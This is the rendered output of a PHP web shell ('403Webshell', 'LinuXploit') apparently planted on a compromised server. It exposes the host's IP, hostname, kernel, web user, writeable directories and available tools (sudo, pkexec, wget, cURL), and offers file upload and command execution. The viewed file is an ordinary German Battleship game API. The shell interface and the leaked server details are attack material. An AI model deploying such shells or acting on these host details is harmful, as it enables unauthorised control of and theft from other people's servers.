403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/arni-solutions.de/web/slots/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/arni-solutions.de/web/slots/api/ships.php
<?php
/**
 * Schiffe versenken (bis 4 Spieler) – serverautoritär, Schiffe bleiben geheim.
 * Aktionen: create | join | place | shot | state
 * View blendet gegnerische Schiffspositionen aus (nur eigene Flotte sichtbar).
 */
require_once __DIR__ . '/../includes/bootstrap.php';
header('Content-Type: application/json; charset=utf-8');

function s_out($d) { echo json_encode($d, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; }
function s_fail($m, $c = 400) { http_response_code($c); s_out(['ok' => false, 'message' => $m]); }

function ships_initial(): array {
    return ['phase' => 'setup', 'fleet' => [5, 4, 3, 3, 2], 'boards' => (object)[], 'shots' => (object)[],
            'order' => [], 'turnIdx' => 0, 'eliminated' => [], 'winner' => null, 'lastShot' => null];
}

/** Sichtbare Sicht für den Spieler mit $token (gegnerische Schiffe ausgeblendet). */
function ships_view(array $r, ?string $token): array {
    $players = json_decode($r['players'], true) ?: [];
    $st = json_decode($r['state'], true) ?: [];
    $myId = null;
    foreach ($players as $p) if ($token && hash_equals($p['token'], $token)) $myId = $p['id'];
    $boards = $st['boards'] ?? [];
    $shots  = $st['shots'] ?? [];
    $pubBoards = [];
    foreach ($players as $p) {
        $id = $p['id'];
        $b = $boards[$id] ?? null;
        $ready = $b ? !empty($b['ready']) : false;
        $row = ['ready' => $ready, 'alive' => !in_array($id, $st['eliminated'] ?? [], true)];
        if ($id === $myId && $b) $row['ships'] = $b['ships'];     // nur eigene Flotte
        if ($b) {                                                // geschlagene Schiffszellen sind ohnehin öffentlich
            $hitCells = 0; $total = 0;
            foreach ($b['ships'] as $ship) foreach ($ship as $cell) { $total++; if (($shots[$id][$cell[0] . ',' . $cell[1]] ?? '') === 'hit') $hitCells++; }
            $row['total'] = $total; $row['hits'] = $hitCells;
        }
        $pubBoards[$id] = $row;
    }
    $order = $st['order'] ?? [];
    return [
        'ok' => true, 'code' => $r['code'], 'version' => (int)$r['version'], 'status' => $r['status'],
        'phase' => $st['phase'], 'fleet' => $st['fleet'], 'maxp' => (int)$r['maxp'],
        'players' => array_map(function ($p) { return ['id' => $p['id'], 'name' => $p['name']]; }, $players),
        'boards' => $pubBoards, 'shots' => $shots, 'order' => $order,
        'turn' => $order[$st['turnIdx'] ?? 0] ?? null, 'eliminated' => $st['eliminated'] ?? [],
        'winner' => $st['winner'], 'lastShot' => $st['lastShot'], 'your_id' => $myId,
    ];
}

$payload = json_decode(file_get_contents('php://input'), true) ?: [];
$action = (string)($_GET['action'] ?? $payload['action'] ?? '');
$pdo = db();
$load = function ($code, $lock = false) use ($pdo) {
    $code = preg_replace('/[^a-f0-9]/', '', (string)$code);
    if ($code === '') return null;
    $stmt = $pdo->prepare('SELECT * FROM game_rooms WHERE code=? LIMIT 1' . ($lock ? ' FOR UPDATE' : ''));
    $stmt->execute([$code]); return $stmt->fetch() ?: null;
};

try {
    if ($action === 'create') {
        $user = current_user();
        $name = mb_substr(trim((string)($payload['name'] ?? '')) ?: ($user['username'] ?? 'Spieler 1'), 0, 30);
        $maxp = max(2, min(4, (int)($payload['maxp'] ?? 4)));
        $code = bin2hex(random_bytes(5)); $token = bin2hex(random_bytes(12));
        $players = [['token' => $token, 'name' => $name, 'id' => 0]];
        $pdo->prepare('INSERT INTO game_rooms (code,game,state,players,status,maxp,version,host_user_id,created_at,updated_at) VALUES (?,?,?,?,?,?,1,?,NOW(),NOW())')
            ->execute([$code, 'ships', json_encode(ships_initial()), json_encode($players), 'lobby', $maxp, $user['id'] ?? null]);
        s_out(array_merge(ships_view($load($code), $token), ['token' => $token, 'your_id' => 0]));
    }

    if ($action === 'join') {
        $pdo->beginTransaction();
        $r = $load((string)($payload['code'] ?? ''), true);
        if (!$r) { $pdo->rollBack(); s_fail('Raum nicht gefunden.', 404); }
        $players = json_decode($r['players'], true) ?: [];
        $token = (string)($payload['token'] ?? '');
        foreach ($players as $p) if ($token && hash_equals($p['token'], $token)) { $pdo->commit(); s_out(array_merge(ships_view($r, $token), ['token' => $token, 'your_id' => $p['id']])); }
        if ($r['status'] !== 'lobby') { $pdo->rollBack(); s_fail('Spiel läuft bereits.', 409); }
        if (count($players) >= (int)$r['maxp']) { $pdo->rollBack(); s_fail('Raum ist voll.', 409); }
        $user = current_user();
        $name = mb_substr(trim((string)($payload['name'] ?? '')) ?: ($user['username'] ?? 'Spieler'), 0, 30);
        $nid = count($players); $nt = bin2hex(random_bytes(12));
        $players[] = ['token' => $nt, 'name' => $name, 'id' => $nid];
        $pdo->prepare('UPDATE game_rooms SET players=?, version=version+1, updated_at=NOW() WHERE code=?')->execute([json_encode($players), $r['code']]);
        $pdo->commit();
        s_out(array_merge(ships_view($load($r['code']), $nt), ['token' => $nt, 'your_id' => $nid]));
    }

    if ($action === 'state') {
        $r = $load((string)($_GET['code'] ?? $payload['code'] ?? ''));
        if (!$r) s_fail('Raum nicht gefunden.', 404);
        s_out(ships_view($r, (string)($_GET['token'] ?? $payload['token'] ?? '')));
    }

    if ($action === 'place') {
        $pdo->beginTransaction();
        $r = $load((string)($payload['code'] ?? ''), true);
        if (!$r) { $pdo->rollBack(); s_fail('Raum nicht gefunden.', 404); }
        $players = json_decode($r['players'], true) ?: []; $st = json_decode($r['state'], true);
        $token = (string)($payload['token'] ?? ''); $myId = null;
        foreach ($players as $p) if (hash_equals($p['token'], $token)) $myId = $p['id'];
        if ($myId === null) { $pdo->rollBack(); s_fail('Kein Mitglied.', 403); }
        if ($st['phase'] !== 'setup') { $pdo->rollBack(); s_fail('Aufstellung beendet.'); }
        $ships = $payload['ships'] ?? null;
        if (!is_array($ships)) { $pdo->rollBack(); s_fail('Ungültige Flotte.'); }
        $st['boards'] = (array)$st['boards']; $st['shots'] = (array)$st['shots'];
        $st['boards'][$myId] = ['ships' => $ships, 'ready' => true];
        // Alle bereit (>=2 Spieler) → Spiel starten
        $allReady = count($players) >= 2;
        foreach ($players as $p) if (empty($st['boards'][$p['id']]['ready'])) $allReady = false;
        $status = $r['status'];
        if ($allReady) {
            $st['phase'] = 'playing'; $status = 'playing';
            $st['order'] = array_map(function ($p) { return $p['id']; }, $players);
            $st['turnIdx'] = 0;
            foreach ($players as $p) $st['shots'][$p['id']] = (object)[];
        }
        $pdo->prepare('UPDATE game_rooms SET state=?, status=?, version=version+1, updated_at=NOW() WHERE code=?')->execute([json_encode($st), $status, $r['code']]);
        $pdo->commit();
        s_out(ships_view($load($r['code']), $token));
    }

    if ($action === 'shot') {
        $pdo->beginTransaction();
        $r = $load((string)($payload['code'] ?? ''), true);
        if (!$r) { $pdo->rollBack(); s_fail('Raum nicht gefunden.', 404); }
        $players = json_decode($r['players'], true) ?: []; $st = json_decode($r['state'], true);
        $token = (string)($payload['token'] ?? ''); $myId = null;
        foreach ($players as $p) if (hash_equals($p['token'], $token)) $myId = $p['id'];
        if ($myId === null) { $pdo->rollBack(); s_fail('Kein Mitglied.', 403); }
        if ($st['phase'] !== 'playing') { $pdo->rollBack(); s_fail('Spiel läuft nicht.'); }
        $order = $st['order'];
        if (($order[$st['turnIdx']] ?? null) !== $myId) { $pdo->rollBack(); s_fail('Du bist nicht am Zug.', 403); }
        $target = (int)($payload['target'] ?? -1);
        $row = (int)($payload['r'] ?? -1); $col = (int)($payload['c'] ?? -1);
        if ($target === $myId || !in_array($target, $order, true)) { $pdo->rollBack(); s_fail('Ungültiges Ziel.'); }
        if ($row < 0 || $row > 9 || $col < 0 || $col > 9) { $pdo->rollBack(); s_fail('Ungültiges Feld.'); }
        $key = $row . ',' . $col;
        $st['shots'] = (array)$st['shots'];
        $st['shots'][$target] = (array)($st['shots'][$target] ?? []);
        if (isset($st['shots'][$target][$key])) { $pdo->rollBack(); s_fail('Feld schon beschossen.'); }
        // Treffer prüfen
        $hit = false; $sunkShip = null;
        foreach ($st['boards'][$target]['ships'] as $ship) {
            foreach ($ship as $cell) if ((int)$cell[0] === $row && (int)$cell[1] === $col) { $hit = true; break; }
        }
        $st['shots'][$target][$key] = $hit ? 'hit' : 'miss';
        $result = $hit ? 'hit' : 'miss';
        if ($hit) {
            // versenkt? (alle Zellen des getroffenen Schiffs)
            foreach ($st['boards'][$target]['ships'] as $ship) {
                $contains = false; foreach ($ship as $cell) if ((int)$cell[0] === $row && (int)$cell[1] === $col) $contains = true;
                if (!$contains) continue;
                $sunk = true; foreach ($ship as $cell) if (($st['shots'][$target][$cell[0] . ',' . $cell[1]] ?? '') !== 'hit') $sunk = false;
                if ($sunk) { $result = 'sunk'; }
            }
            // eliminiert? (alle Schiffe versenkt)
            $allHit = true;
            foreach ($st['boards'][$target]['ships'] as $ship) foreach ($ship as $cell) if (($st['shots'][$target][$cell[0] . ',' . $cell[1]] ?? '') !== 'hit') $allHit = false;
            if ($allHit) { $result = 'eliminated'; $st['eliminated'][] = $target; $order = array_values(array_filter($order, function ($x) use ($target) { return $x !== $target; })); }
        }
        // Sieg / nächster Zug
        if (count($order) <= 1) { $st['phase'] = 'done'; $st['winner'] = $order[0] ?? $myId; }
        else { $i = array_search($myId, $order, true); $st['turnIdx'] = ($i + 1) % count($order); }
        $st['order'] = $order;
        $st['lastShot'] = ['by' => $myId, 'target' => $target, 'r' => $row, 'c' => $col, 'result' => $result];
        $status = $st['phase'] === 'done' ? 'done' : 'playing';
        $pdo->prepare('UPDATE game_rooms SET state=?, status=?, version=version+1, updated_at=NOW() WHERE code=?')->execute([json_encode($st), $status, $r['code']]);
        $pdo->commit();
        s_out(ships_view($load($r['code']), $token));
    }

    s_fail('Unbekannte Aktion.');
} catch (Throwable $e) {
    if ($pdo->inTransaction()) $pdo->rollBack();
    s_fail('Serverfehler: ' . $e->getMessage(), 500);
}

Youez - 2016 - github.com/yon3zu
LinuXploit